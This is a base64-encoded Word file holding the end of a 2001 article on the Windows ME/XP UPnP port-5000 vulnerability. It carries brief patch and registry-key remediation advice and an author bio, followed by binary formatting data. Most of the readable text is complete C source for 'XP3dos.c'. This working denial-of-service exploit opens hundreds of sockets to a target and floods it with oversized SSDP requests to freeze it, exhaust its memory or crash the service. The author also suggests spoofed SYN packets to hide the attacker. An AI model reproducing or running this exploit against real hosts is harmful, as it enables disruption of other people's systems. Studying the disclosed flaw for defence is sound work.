dGhlIHBvcnQgNTAwMCBVUE5QIHNlcnZlciB5b3UgY2FuIGVpdGhlciBkb3dubG9hZCB0aGUg
cGF0Y2ggZnJvbSBNaWNyb3NvZnQgKHNlZSBidWxsZXRpbiBNUzAxLTU0KSBvciBkaXNhYmxl
IGl0IGJ5IGRlbGV0aW5nIHRoZSBmb2xsb3dpbmcgcmVnaXN0cnkga2V5IGFuZCByZWJvb3Rp
bmc6DSBIS0VZX0xPQ0FMX01BQ0hJTkVcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3Vy
cmVudFZlcnNpb25cUnVuU2VydmljZXNcU1NEUFNSVg0NQ29uY2x1c2lvbg0JVGhlIGxlc3Nv
bnMgbGVhcm5lZCBmcm9tIHRoaXMgZXhwZXJpZW5jZSBhcmUgYXN0b3VuZGluZy4gRmlyc3Qs
IHNvZnR3YXJlIHZlbmRvcnMgc2hvdWxkIGV4dGVuc2l2ZWx5IHRlc3QgdGhlaXIgcHJvZHVj
dHMgZm9yIHZ1bG5lcmFiaWxpdGllcy4gV2hlbiBhbiBPUyBzaGlwcyB3aXRoIG1hbnkgc2xl
ZXBpbmcgZXhlY3V0YWJsZXMsIHBsYW4gYXMgdGhvdWdoIHRoZXkgd2lsbCBiZSBlbmFibGVk
LiBJbiB0aGlzIGNhc2UsIHByb2JsZW1hdGljIHNvZnR3YXJlIHdhcyByZWxlYXNlZCBsaXZl
IGFuZCBydW5uaW5nIG9uIGNvbnN1bWVyknMgUENzISBTZWNvbmQsIGF0IGxlYXN0IG9uZSBt
YWpvciBPRU0gcGxhY2VkIHRoZWlyIGN1c3RvbWVyknMgYXQgcmlzay4gVGhleSBlbmFibGVk
IGEgc2VydmljZSB0byBydW4gb24gdGhlaXIgZGlzdHJpYnV0aW9ucyBvZiBXaW5NRSB0aGF0
IGhhZCBzZWN1cml0eSB2dWxuZXJhYmlsaXRpZXMuIFRoaXMgaGFwcGVuZWQgaW4gdGhlIHBh
c3QgYXMgd2VsbCwgYnV0IGl0IGlzIHRoZSBtb3N0IHJlY2VudCBJIGNhbiByZWNhbGwuIFNl
Y29uZCwgc2luY2UgdGhlIFdpbk1FIFVQTlAgcHJvYmxlbSB3YXMgbm90IGRpc2NvdmVyZWQg
IGZvciBhcHByb3hpbWF0ZWx5IGEgeWVhciwgd2UgY2FuIHNhZmVseSBhc3N1bWUgbW9zdCB1
c2VycyBuZXZlciBsb29rIGFuZCB3aWxsIG5ldmVyIGxvb2sgdW5kZXIgdGhlIGNvdmVycyBv
ZiB0aGVpciBQQ3MgdG8gZGV0ZXJtaW5lIHdoYXQgaXMgYWN0dWFsbHkgcnVubmluZy4gSGVu
Y2UsIHRoZXJlIHdpbGwgYWx3YXlzIGJlIGNvbXB1dGVycyBvbiB0aGUgSW50ZXJuZXQgd2l0
aCB0aGUgcG90ZW50aWFsIHRvIGJlIGVhc2lseSBjcmFja2VkLiBGaW5hbGx5LCBnaXZlbiB0
aGF0IHRoZXJlIGFyZSBzZWN1cml0eSB2dWxuZXJhYmlsaXRpZXMgb3V0IHRoZXJlIGluIHRo
ZSB3aWxkLCBwZXJoYXBzIGl0IGlzIGJlc3QgaWYgY29uc3VtZXJzIHJ1biBhIHBlcnNvbmFs
IGZpcmV3YWxsIG9uIHRoZWlyIFBDLiBXaG8ga25vd3Mgd2hhdCBzZXJ2aWNlIHdpbGwgbmV4
dCBiZSBlbmFibGVkIGFuZCB2dWxuZXJhYmxlIHdpdGhvdXQgb3VyIGtub3dsZWRnZSBhbmQg
d2hvIHdpbGwgYmUgbG9va2luZyB0byBleHBsb2l0IGl0LiANDSdrZW4nIGRldmVsb3BlZCBz
ZWN1cmUgQjJCIGUtY29tbWVyY2UgYXBwbGljYXRpb25zLiBIZSBlbmpveXMgT1MgaGFyZGVu
aW5nLCBwZW5ldHJhdGlvbiB0ZXN0aW5nLCBuZXR3b3JrIHNjYW5uaW5nIGFuZCBhbnl0aGlu
ZyBzZWN1cml0eSByZWxhdGVkLiBIZSBjYW4gYmUgcmVhY2hlZCBhdCBmcmFua2xpbl90ZWNo
X3VubGltaXRlZEB5YWhvby5jb20NX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fDUV4cGxvaXQgQ29kZQ0J
Q29tcGlsZWQgb24gUmVkIEhhdCBMaW51eCA3LjEuIA0JTm90ZSB0aGF0IG9uZSBvZiBteSB0
ZXN0cyBpcyBlbmhhbmNlZCBmb3IgdGhlIGVmZmVjdC4gSSBleGFnZ2VyYXRlZCB0aGUgRUlQ
IHNjZW5hcmlvIHRvIHJlYWxseSBwdW1wIHRoZSBzZXJ2ZXIgZnVsbCBvZiAnQScgdG8gcmVk
dWNlIHRoZSBjb21wdXRlcidzIG1lbW9yeS4gVG8gdGVzdCBmb3IgYW4gb3ZlcmZsb3cgb25l
IHdvdWxkIG5vdCBuZWVkIGFzIG1hbnkgY29ubmVjdGlvbnMuIA0JSWYgSSBoYWQgdGltZSB0
byBpbXByb3ZlIHRoaXMgY29kZSBJIHdvdWxkIGNoYW5nZSB0aGUgc2VjdGlvbiB0aGF0IG1h
a2VzIDEwMDAgc2ltZWx0YW5lb3VzIGNvbm5lY3Rpb25zLiBHaXZlbiB0aGUgbmF0dXJlIG9m
IHRoZSBwcm9ibGVtIEkgd291bGQgc2VuZCBzcG9vZmVkIFNZTiBwYWNrZXRzIHRvIHRoZSBh
ZmZlY3RlZCBob3N0LiBUaGlzIHNob3VsZCBhZGFjcXVhdGVseSBzaW11bGF0ZSBtYWtpbmcg
YSBjb25uZWN0aW9uIGFuZCBzaG91bGQgYWxzbyBoYXZlIHRoZSBzYW1lIGVmZmVjdCBmb3Ig
cmVkdWNpbmcgdGhlIGFmZmVjdGVkIG1hY2hpbmUncyBtZW1vcnkuIFRoZSBiZW5lZml0cyBv
ZiB0aGUgcGFja2V0IGNvbnN0cnVjdGlvbiB3b3VsZCBiZSB0aGF0IGl0IHNob3VsZCB0YWtl
IHVwIGxlc3MgcmVzb3VyY2VzIG9uIHRoZSBhdHRhY2tlcidzIG1hY2hpbmUgYW5kIHRoZSBh
dHRhY2sgd291bGQgbm90IGJlIHRyYWNlYWJsZSB3aXRoIGEgc3Bvb2ZlZCBJUCBhZGRyZXNz
LiANCWdjYyBYUDNkb3MuYyAtbyBYUDNkb3MNLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tIFNuaXAgaGVyZSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDS8qLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NDVhQM2Rvcy5j
DVRocmVlIFdpblhQL01FIERPUyBBdHRhY2tzDWJ5ICdrZW4nIG9mIEZUVSAtLSAxMC8yMy8w
MQ1mcmFua2xpbl90ZWNoX3VubGltaXRlZEB5YWhvby5jb20NDS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQ0jaW5jbHVkZSA8c3RkaW8uaD4N
I2luY2x1ZGUgPHN0ZGxpYi5oPg0jaW5jbHVkZSA8bmV0aW5ldC9pbi5oPg0jaW5jbHVkZSA8
dW5pc3RkLmg+DSNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NI2luY2x1ZGUgPHN5cy9zb2NrZXQu
aD4NI2luY2x1ZGUgPG5ldGRiLmg+DSNpbmNsdWRlIDxzdHJpbmcuaD4NDSNkZWZpbmUgTUFY
IDI1Ng0jZGVmaW5lIFNTIHN0cnVjdCBzb2NrYWRkcg0NY2hhciAqRElTQ09WRVJbXSA9IHsN
CQkiTS1TRUFSQ0ggKiBIVFRQLzEuMVxyXG4iDQkgICAgICAJIkhPU1Q6IDIzOS4yNTUuMjU1
LjI1MDoxOTAwXHJcbiINCSAgICAgIAkiTUFOOiBcInNzZHA6ZGlzY292ZXJcIlxyXG4iDQkg
ICAgICAJIk1YOiA1XG4iDQkgICAgICAJIlNUOiBcInNzZHA6YWxsXCJcclxuIg0JCX07DQ0N
aW50IG1haW4oaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkNew0NaW50IHNvY2tzWzEwMjRdLCBp
LCBrLCBudW1fb2Zfc29ja3MsIHBvcnQ7DXN0cnVjdCBzb2NrYWRkcl9pbiB3aW54cGJveDsN
DWNoYXIgKmlwOw1jaGFyIHRlbXBbMTAwMDBdOw1jaGFyIHNwbG9pdFsxMjAwMF07DWNoYXIg
YnVmZmVyW01BWCsxXTsNDQlwcmludGYoIlxuVGhyZWUgV2luWFAvTUUgVVBOUCBET1MgQXR0
YWNrcyIpOw0JcHJpbnRmKCJcbmJ5ICdrZW4nIG9mIEZUVSAtLSAxMC8yMy8wMSIpOw0JcHJp
bnRmKCJcbmZyYW5rbGluX3RlY2hfdW5saW1pdGVkQHlhaG9vLmNvbVxuXG4iKTsNDQlpZihh
cmdjPDMpDSAgCQlleGl0KHByaW50X29wdHMoKSk7DQ0JaXA9YXJndlsxXTsNCXdpbnhwYm94
LnNpbl9mYW1pbHk9QUZfSU5FVDsNCXdpbnhwYm94LnNpbl9hZGRyLnNfYWRkcj1pbmV0X2Fk
ZHIoaXApOyANCXdpbnhwYm94LnNpbl9wb3J0PWh0b25zKDUwMDApOyANDQ0JaWYoc3Ryc3Ry
KGFyZ3ZbMl0sIi10ZiIpKXsNCQludW1fb2Zfc29ja3MgPSAxMDIxOw0JCX0NCWVsc2UgaWYo
c3Ryc3RyKGFyZ3ZbMl0sIi1kbSIpKXsNCQludW1fb2Zfc29ja3MgPSAxOTk7DQkJfQ0JZWxz
ZSBpZihzdHJzdHIoYXJndlsyXSwiLWNhIikpew0JCW51bV9vZl9zb2NrcyA9IDQ7DQkJfQ0J
ZWxzZXsNCQlwcmludF9vcHRzKCk7DQkJcmV0dXJuIDA7DQkJfQ0NDQkvKiBidWlsZCBzb2Nr
ZXRzICovDQ0JZm9yKGs9MDtrPD1udW1fb2Zfc29ja3MtMTtrKyspew0gICAgCQlwcmludGYo
IkNyZWF0aW5nIHNvY2tldCAjJWkhXG4iLGsrMSk7DSAgICAJCXNvY2tzW2tdPXNvY2tldChB
Rl9JTkVULFNPQ0tfU1RSRUFNLDApOwkNICAgIAkJaWYoc29ja3Nba108MCkgZXhpdChwcmlu
dGYoIlNvY2tldCBlcnJvclxuIikpOw0JCS8qIHRoaXMgbGluZSBlbGltaW5hdGVzIG5lZWQg
dG8gY2hhbmdlIGZvcm1hdCB0byBkby13aGlsZSANCQkgICBhbmQgZ3VhcmVudGVlcyBvbmx5
IG9uZSBzb2NrZXQgaXMgY3JlYXRlZC9yZWZlcmVuY2VkIG9uIHRoZSAtY2EgZmxhZyovDQkJ
aWYobnVtX29mX3NvY2tzPT00KSBicmVhazsNCQl9DQ0gICAgCXByaW50ZigiXG5Ucnlpbmcg
dG8gQ29ubmVjdC4uLi5cbiIpOw0NCWZvcihrPTA7azxudW1fb2Zfc29ja3MtMjtrKyspew0g
IAkJaWYoKGNvbm5lY3Qoc29ja3Nba10sKHN0cnVjdCBzb2NrYWRkciAqKSAmd2lueHBib3gs
IHNpemVvZih3aW54cGJveCkpKTwwKQ0gICAgCQlleGl0KHByaW50ZigiQ29ubmVjdGlvbiBl
cnJvcjogU29ja2V0ICMlaVxuIixrKzEpKTsNCSAgICANICAgIAkJcHJpbnRmKCJTb2NrZXQg
IyVpICBDb25uZWN0ZWQuLi4hXG4iLGsrMSk7DQkJaWYobnVtX29mX3NvY2tzPT00KWJyZWFr
Ow0gICAgCQl9DQ0vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKiovDQkNCWlmKChzdHJzdHIoYXJndlsyXSwiY2Ei
KSkgfHwgKHN0cnN0cihhcmd2WzJdLCJkbSIpKSl7DQkJc3ByaW50ZihzcGxvaXQsIiVzIiwq
RElTQ09WRVIpOw0JCXByaW50ZigiXG5TZW5kaW5nIEhlYWRlciBvZiBFeHBsb2l0IVxuXG4i
KTsNCQl3cml0ZShzb2Nrc1swXSxzcGxvaXQsc3RybGVuKHNwbG9pdCkpOw0JCQ0JCWlmKHN0
cnN0cihhcmd2WzJdLCJkbSIpKXsNCQkJcHJpbnRmKCJCdWlsZGluZyBFeHBsb2l0IENvZGUg
Tm93Li4uIVxuIik7DQkJCWZvcihpPTA7aTw9OTk5OTtpKyspew0JCQkJdGVtcFtpXT0nQSc7
CQkNCQkJCX0NCQkJZm9yKGs9MTtrPD1udW1fb2Zfc29ja3MtNDtrKyspew0JCQkJd3JpdGUo
c29ja3Nba10sc3Bsb2l0LHN0cmxlbihzcGxvaXQpKTsNCQkJCX0NCQkJZm9yKGk9MDtpPD0x
OTk5O2krKyl7DQkJCQlmb3Ioaz0wO2s8PW51bV9vZl9zb2Nrcy00O2srKyl7DQkJCQkJc3By
aW50ZihzcGxvaXQsIiVzJXMiLHRlbXAsdGVtcCk7DQkJCQkJcHJpbnRmKCJBdHRhY2tpbmcg
aG9zdCB3aXRoIHNwbG9pdCEgMjAwMDAgQSdzIHRpbWVzICVpOk9uIFNvY2tldCAjJWlcbiIs
aSsxLGsrMSk7DQkJCQkJd3JpdGUoc29ja3Nba10sc3Bsb2l0LHN0cmxlbihzcGxvaXQpKTsN
CQkJCQl9DQkJCQl9DQkJCX0NCQl9DQ0vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8NDS8qIHNlbmQga2V5
c3Ryb2tlcyBzYXlpbmcgd2UgZmluaXNoZWQgdHJhbnNtaXR0aW5nIGRhdGEgKi8NCWZvcihr
PTA7azw9bnVtX29mX3NvY2tzLTQ7aysrKXsgDSAgCQlzcHJpbnRmKHNwbG9pdCwiXHJcblxy
XG4iKTsNCQlwcmludGYoIlNlbmRpbmcgQ2xvc2luZyBLZXlzdHJva2VzIGZvciBTb2NrZXQg
IyVpXG4iLGsrMSk7DSAgCQl3cml0ZShzb2Nrc1trXSxzcGxvaXQsc3RybGVuKHNwbG9pdCkp
Ow0JCWlmKG51bV9vZl9zb2Nrcz09NCkgYnJlYWs7IA0gIAkJfQ0gIA0NLyogR3Vlc3Mgc3Rh
dHVzICovDS8qICdrZW4nOiB0aGlzIGNvZGUgd2FzIGZvciBkZWJ1Z2dpbmcuIEkgbGVmdCBp
dCBpbiBoZXJlLi4uICovDQ0vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqDQlmb3Ioaz0wO2s8PW51bV9vZl9zb2Nrcy00O2srKyl7DSAgCQlpZihyZWFkKHNvY2tz
W2tdLGJ1ZmZlcixzaXplb2YoYnVmZmVyKSk8MCkNICAgIAkJZXhpdChwcmludGYoIlxuXG5O
byByZXBseTogbWFjaGluZSBjcmFzaGVkP1xuXG4iKSk7DSAgIAllbHNlDSAgICAJCXByaW50
ZigiJXMiLGJ1ZmZlcik7DSAgICAJCXByaW50ZigiXG5cbk1hY2hpbmUgcmVwbGllZDogRmFp
bGVkIHRvIGNyYXNoIVxuXG4iKTsNCQl9DSoqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKi8NDQ0vKiBjbG9zZSBzb2NrZXQgICovDQ0JZm9yKGs9MDtrPD1udW1fb2Zf
c29ja3MtNDtrKyspew0JCXByaW50ZigiQ2xvc2luZyBTb2NrZXQgIyVpXG4iLGsrMSk7DSAg
CQljbG9zZShzb2Nrc1trXSk7DQkJaWYobnVtX29mX3NvY2tzPT00KSBicmVhazsNICAJCX0N
DQlwcmludGYoIlxuRmluaXNoZWQgRE9TaW5nIFdpblhQL01FIik7DQlwcmludGYoIlxuSGF2
ZSBhIG5pY2UgZGF5ISAtJ2tlbidcblxuIik7DQ0JcmV0dXJuIDA7DX0NDXByaW50X29wdHMo
KQ17DQkNCXByaW50ZigiXG4gKioqKiBXaW5YUC9NRSBVUE5QIERPUyBVc2FnZSAqKioqIik7
DQlwcmludGYoIlxuPGlwIGFkZHJlc3Mgb2YgV2luWFAvTUUgYm94PjxleHBsb2l0PiIpOw0J
cHJpbnRmKCJcbiBleHBsb2l0IGNob2ljZXM6Iik7DQlwcmludGYoIlxuIC10ZiAgdGVtcG9y
YXJ5IGZyZWV6ZSIpOw0JcHJpbnRmKCJcbiAtZG0gIGRlcGxldGUgbWVtb3J5Iik7DQlwcmlu
dGYoIlxuIC1jYSAgY3Jhc2ggYXBwbGljYXRpb25cblxuIik7DQ0JcmV0dXJuOw19DQ0vKi0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gU25pcCBoZXJlIC0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tKi8NLyogRU9GICovDQ0TIFBBR0UgFDEVDQ0NDQ0dAKEBAJkCnMUC
pNAvpeA9pggHpwgHqKAFqaAFqgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAUQMAAIMDAACOAwAAzwUAANUFAABDCQAATAkAAOUS
AADuEgAA6xQAAO4UAAAlHgAAOh4AAEQmAABaJgAAeScAAIQnAADrKwAA8CsAAJ8sAACzLAAA
/CwAAAktAABlMAAAyz8AABhAAAAiQAAAI0AAACRAAAAqQAAAK0AAACxAAAAtQAAAMUAAADJA
AABRQAAA/fv4+wD7+PsA+/X7APsA+wD7+Pvy+/j78PvwAOro6uTqAADiAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
BAAAFGgBAQAAAAEAACsjQAAALkAAAC9AAAAwQAAAMUAAADJAAADzAAAAAAAA7wAAAAAAAO0A
AAAAAADtAAAAAAAA7QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAABAAAAAxkAEGgBAAAMGAAdIBRoAQEAGvj/GwEAHCoCJQEt0oAABQ4AGwAIAAEASwAPAAAA
AAAiAABA8f8CACIABk5vcm1hbAAEAAAALAEJAF0CAGH/AGMYAABaAAFgAQACAFoACUhlYWRp
bmcgMQAAPAABAAgBDQEMNP8AAAAAAP//AAABAGgBeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAFAFWBXQAAAAAAAAAAAAAAAAAAAAAAAAAiAEFA8v+hACIAFkRlZmF1
bHQgUGFyYWdyYXBoIEZvbnQAAAAAAAAAAAAAACgA/k/y//EAKAAcV1ctQWJzYXR6LVN0YW5k
YXJkc2NocmlmdGFydAAAACoA/k/y/wEBKgAdV1ctQWJzYXR6LVN0YW5kYXJkc2NocmlmdGFy
dDEAAAAAKgD+T/L/EQEqAB5XVy1BYnNhdHotU3RhbmRhcmRzY2hyaWZ0YXJ0MTEAAAAmAP5P
8v8hASYAGVdXLURlZmF1bHQgUGFyYWdyYXBoIEZvbnQAAAAAGAApQCIBMQEYAAtQYWdlIE51
bWJlcgAAAAAaAP5P8v9BARoACUh5cGVybGluawAABABeAWIJHgD+T/L/UQEeABFOdW1iZXJp
bmcgU3ltYm9scwAAAAAgAP5P8v9hASAAFFdXLU51bWJlcmluZyBTeW1ib2xzAAAAJgD+TwEA
ggEmAAdIZWFkaW5nAAAKABcACAEV8AAWeAAGAF0EAGMcACQAQkABAIIBJAAJQm9keSBUZXh0
AAAEABgABQEIAFWBXQAAYxwAIAAfQAEAkgEgAAZIZWFkZXIADAAZAA8IAALgEMAhAQIAAB4A
/k+BAaIBHgAORnJhbWUgY29udGVudHMAAgAaAAAAAAAAADI9AAADADJAAAABAP////8AAAAA
DQAAABAAAAAAAwAAUUAAACEAAAMAALMsAAAzMwAACTcAAEE8AAAjQAAAMkAAACIAIwAkACUA
JgAnADI9AAAAAAAABwAAAAkAAAAQAAAAEyGU/5WA/0BiABUSkAEAAFRpbWVzIE5ldyBSb21h
bgAMEJABAgBTeW1ib2wACyKQAQAAQXJpYWwAHBKQAQAGVGltZXMAVGltZXMgTmV3IFJvbWFu
AGATIpABAAdBbGJhbnkAQXJpYWwAA0IABAAAAIAYAADQAgAAaAEAAAAAaaz7RSvqWiYAAAAA
